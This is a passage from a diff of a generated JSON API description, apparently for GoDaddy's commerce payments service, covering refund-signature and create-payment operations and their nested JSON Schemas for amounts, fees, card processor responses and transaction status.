}, - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - } - } - }, - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getRefundSignaturesById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/refunds/{transactionId}/signatures", - "summary": "Get Refund Signatures", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1 - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Refund Signature list", - "schema": { - "title": "Refund Signatures", - "allOf": [ - { - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], "properties": { - "href": { - "type": "string" - }, - "rel": { + "processorType": { "type": "string" } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" }, - "rel": { - "type": "string" - } + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } - } - } - } - } - ], - "properties": { - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" - }, - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" } - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true + ], + "description": "Represents sale transaction against a payment", + "title": "Sale Transaction", + "type": "object", + "x-generic-type": "Transaction" }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "createPayment", - "method": "POST", - "path": "/stores/{storeId}/payments", - "summary": "Create Payment", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - } - ], - "requestBody": { - "required": false, - "contentType": "application/json", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment", - "type": "object", - "x-tags": [ - "transaction", - "payments" - ], - "x-generic-type": "Payment", - "description": "A monetary transfer of funds from a funding source to the recipient merchant", - "properties": { - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "refNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true + "type": "array" }, "type": { "$id": "https://godaddy.com/schemas/commerce/payment/type.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Type", - "type": "string", + "description": "Payment type", "enum": [ "AUTHORIZATION", "SALE", "REFUND" ], - "description": "Payment type" + "title": "Payment Type", + "type": "string" }, - "amount": { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "updatedAt": { + "description": "Last updated time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "amount", + "fundingSource", + "createdAt" + ], + "title": "Payment", + "type": "object", + "x-generic-type": "Payment", + "x-tags": [ + "transaction", + "payments" + ] + } + }, + "responses": { + "201": { + "description": "New payment created successfully", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A monetary transfer of funds from a funding source to the recipient merchant", + "properties": { + "additionalProcessingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "authOnly": { + "default": false, + "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment", + "type": "boolean", + "writeOnly": true + }, + "partialAuthEnabled": { + "default": true, + "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment", + "type": "boolean", + "writeOnly": true } }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "title": "Transaction Processing Instruction", + "type": "object" + }, + "adjustments": { + "description": "Adjustments for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "title": "Amount", + "type": "object" }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ], - "description": "Payment amount requested" - }, - "netAmount": { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "type": "string" }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ], - "description": "Current net payment amount" - }, - "fundingSource": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + 